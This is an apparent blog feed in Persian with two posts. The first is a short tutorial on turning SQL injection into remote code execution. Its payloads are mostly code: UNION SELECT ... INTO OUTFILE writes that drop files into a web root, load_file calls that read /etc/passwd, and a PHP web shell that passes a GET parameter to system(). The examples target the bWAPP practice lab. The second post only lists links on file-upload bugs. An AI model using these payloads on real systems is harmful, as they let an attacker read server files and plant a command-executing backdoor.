https://virgool.ir/feed/@amoobehrooz2030405060fa2026-11-12 06:58:56https://files.virgool.ir/upload/users/49134/avatar/avatar.pnghttps://virgool.ir/@amoobehrooz2030405060https://virgool.ir/@amoobehrooz2030405060/sqli-to-rec-ibyplhebwybrسلام من امروز میخوام از را هایی که وجود داره برای اینکه باباگ sqli باگ rce ایجاد کنیم بنویسم برا تون من دو تا از را ه های متداولش رو در ادامه بهتون میگم 1_با استفاده از unionid=ddos) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>’ into outfile ‘/var/www/html/bWAPP/image/phpinfo.php’%23 2_بدون استفاده از union d=ddos) into outfile ‘/var/www/html/bWAPP/image/phpinfo’ fields terminated by ‘<? phpinfo(); ?>’%23و همچنین چند دستور دیگر وجود داشت که گفتم شاید براتون جالب باشه1_ دستور load_fileکه با استفاده از این دستور میتوانید پسورد یوزر های سایت رو بدست بیارید در اینجا فرض میکنیم که ستون اسیب پذیر ستون شماره 5 استid=ddos) union select 1,2,3,4,load_file("etc/passwd"),6,7--+یامیتونیم یک فایل رو توی یک مسیر خاص اجرا کنیم id=ddos) union select 1,2,3,4,load_file("/etc/file"),6,7--+2_دستور ایجاد فایلبر روی سرور این دستور دو مرحله ای است 1#id=ddos) union select 1,2,3,4,@injection,6,7+INTO OUTFILE "/tmp/injection"--+و 2# id=ddos) union select 1,2,3,4,"<?php $cmd = $_GET[\`injection\`]; echo system ($cmd); ?>",6,7+INTO OUTFILE "/home/$path/shell.php"+--امیدوارم به دردتون به خورهamoo behroozamoo behroozFri, 18 Dec 2020 22:38:47 +0330https://virgool.ir/@amoobehrooz2030405060/clever-thinking-v34ypldhqtfqسلام بچه ها قرار بود امروز من در رابطه با ار اف یو براتون یه توضیح کامل بنویسم ولی وقتی توضیح خودم رو کامل کردم یهو یه جرقه تو ذهنم خورد و اون این بود که امروز فقط من نیستم که میخوام یه مقاله بنویسم فقط کافی بود یه سرچ با کلمه های مرتبط با ار اف یو بزنم بنا براین به نظرم کامل ترین مقا له ای که میتونم براتون بنویسم اینه https://virgool.io/@mrtheoryhat/remote-arbitrary-unrestricted-file-upload-ujc7zviq2srphttps://virgool.io/@s4man/%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D8%A8%D8%A7%DA%AF-remote-file-upload-rfu-bftjsg6ss0hdhttps://virgool.io/@munavzzy/%D8%A8%D8%A7%DA%AF-rfuremote-file-upload-dvqlbwmkrkh1https://virgool.io/@zeroisanon/bugrfu-pomrrqzbzmfk https://virgool.io/@m_73432623/%D8%A8%D8%A7%DA%AF-rfu-%D9%88-%D8%A7%D9%86%D9%88%D8%A7%D8%B9-%D8%A8%D8%A7%DB%8C%D9%BE%D8%B3-%D9%87%D8%A7%DB%8C-%D8%A2%D9%86-tviximcgxixnamoo behroozamoo behroozThu, 17 Dec 2020 21:18:33 +0330